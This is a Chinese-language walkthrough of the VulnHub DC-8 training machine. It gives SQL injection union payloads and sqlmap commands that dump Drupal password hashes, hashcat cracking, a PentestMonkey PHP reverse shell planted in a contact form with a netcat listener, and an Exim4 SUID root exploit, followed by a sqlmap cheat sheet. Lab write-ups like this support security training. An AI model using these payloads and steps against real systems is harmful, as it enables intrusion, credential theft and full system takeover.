vulnhub-DC8
DC-8 渗透测试 Walk through
信息收集
靶机ip地址为 : 192.168.33.231
Nmap扫描发现服务 22 、80端口
访问80web服务
发现服务器在切换功能时,浏览器顶部的url的uid参数会发生变化,怀疑存在有SQL注入的可能
1 | http://192.168.33.231/?nid=1 |
输入字符确定有sql注入点 , 这里可以手动对数据库进行爆破也可以直接使用sqlmap工具
SQL注入
手动SQL
-判断类型,发现为数字型
查找回显点
1 | http://192.168.140.231/?nid=3 order by 1 |
爆破当前库名
1 | http://192.168.140.231/?nid=-1 union select database() |
爆破表名
1 | http://192.168.140.231/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db' |
爆破列名,查找到可用字段
1 | http://192.168.140.231/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users' |
爆破用户和密码
1 | http://192.168.140.231/?nid=-1 union select group_concat(name,pass) from users |
得到admin和john加密后的密码
1 | admin |
SQLMAP爆破
1 | sqlmap -u 192.168.0.6/?nid=2 --dbs --batch --risk 3 --level 5 |
发现数据库 : d7db , information_schema
1 | sqlmap -u 192.168.33.231/?nid=3 -D d7db --tables --batch --risk 3 --level 5 |
进一步根据d7db查询到表名
查询到user敏感信息
对应john和admin账户还有其对应的加密密码
得到admin和john加密后的密码
1 | admin |
爆破密码
使用hashcat尝试破解密码:
1 | Hashcat.exe -a 0 -m 7900 E:\\wordlist\\pass_list\\hash.txt E:\\wordlist\\pass_list\\wordlist.txt --force |
解出john用户密码为 : turtle
寻找可利用后门
尝试寻找web的登录入口,使用drib工具爆破网站的子页面
找到一个/use 入口 使用john账号进行登录
发现durpal入口继续尝试使用php实现反向 shell
在contact us中找到一个插入Pentest Monkey的PHP脚本的地方修改并保存
开启监听
1 | nc -lvp 1234 |
提交随便一个表单
成功获取shell
并进行之前文章的一系列操作(交互shell、提权)……
提权
在提权过程中发现目标存在suid程序exim4 ,google发现该程序是一个与电子邮件相关的程序,是用于处理邮件传输的邮件服务器软件之一。
于是尝试通过该exim4获取root
查看版本
使用searchsploit工具查找exim相关脚本发现一个
将/usr/share/exploitdb/exploits/linux/local/46996.sh 复制到当前目录
并使用dos2unix修改格式为unix,避免后面需要在脚本中再操作,或者在靶机上修改脚本内容(使用vi在文件内容终端输入:set ff=unix,使windows代码能在Unix上执行)
开启一个http服务将shell.sh下载到靶机
根据脚本提示,给脚本赋权并执行脚本
1 | ./shell.sh -m netcat |
成功提权拿到flag
总结
DC-8涉及知识点
1、nmap的使用
2、sql注入,常用的sqlmap指令
3、hashcat、john破解密码
4、exim的版本漏洞
SQL注入学习 –常用的SQLMAP指令
1.基本扫描
1 sqlmap -u <目标URL> # 对目标URL执行基本的SQL注入扫描2.指定参数:
1
2 sqlmap -u <目标URL> --data="<POST数据>" # 使用POST请求进行扫描
sqlmap -u <目标URL> -p <参数名> # 指定GET参数进行扫描3.数据库指令:
1
2 sqlmap -u <目标URL> --dbs # 列出所有可用数据库
sqlmap -u <目标URL> -D <数据库名> # 指定数据库4.表和列的枚举:
1
2 sqlmap -u <目标URL> -D <数据库名> --tables # 列出指定数据库中的所有表
sqlmap -u <目标URL> -D <数据库名> -T <表名> --columns # 列出指定表中的所有列5.数据提取:
1 sqlmap -u <目标URL> --dbms=<数据库类型> # 指定目标数据库类型(例如:MySQL)6.指定注入点类型:
1 sqlmap -u <目标URL> --dbms=<数据库类型> # 指定目标数据库类型(例如:MySQL)7.HTTP请求头定制:
1 sqlmap -u <目标URL> --headers="<定制的HTTP头>" # 自定义HTTP请求头8.提高扫描等级和风险:
1 sqlmap -u <目标URL> --level=5 --risk=3 # 提高扫描等级和风险9.POST请求扫描:
1 sqlmap -r <保存POST请求的文件> # 从文件中读取POST请求并执行扫描10.代理设置:
1 sqlmap -u <目标URL> --proxy=http://<代理地址>:<代理端口> # 使用代理进行扫描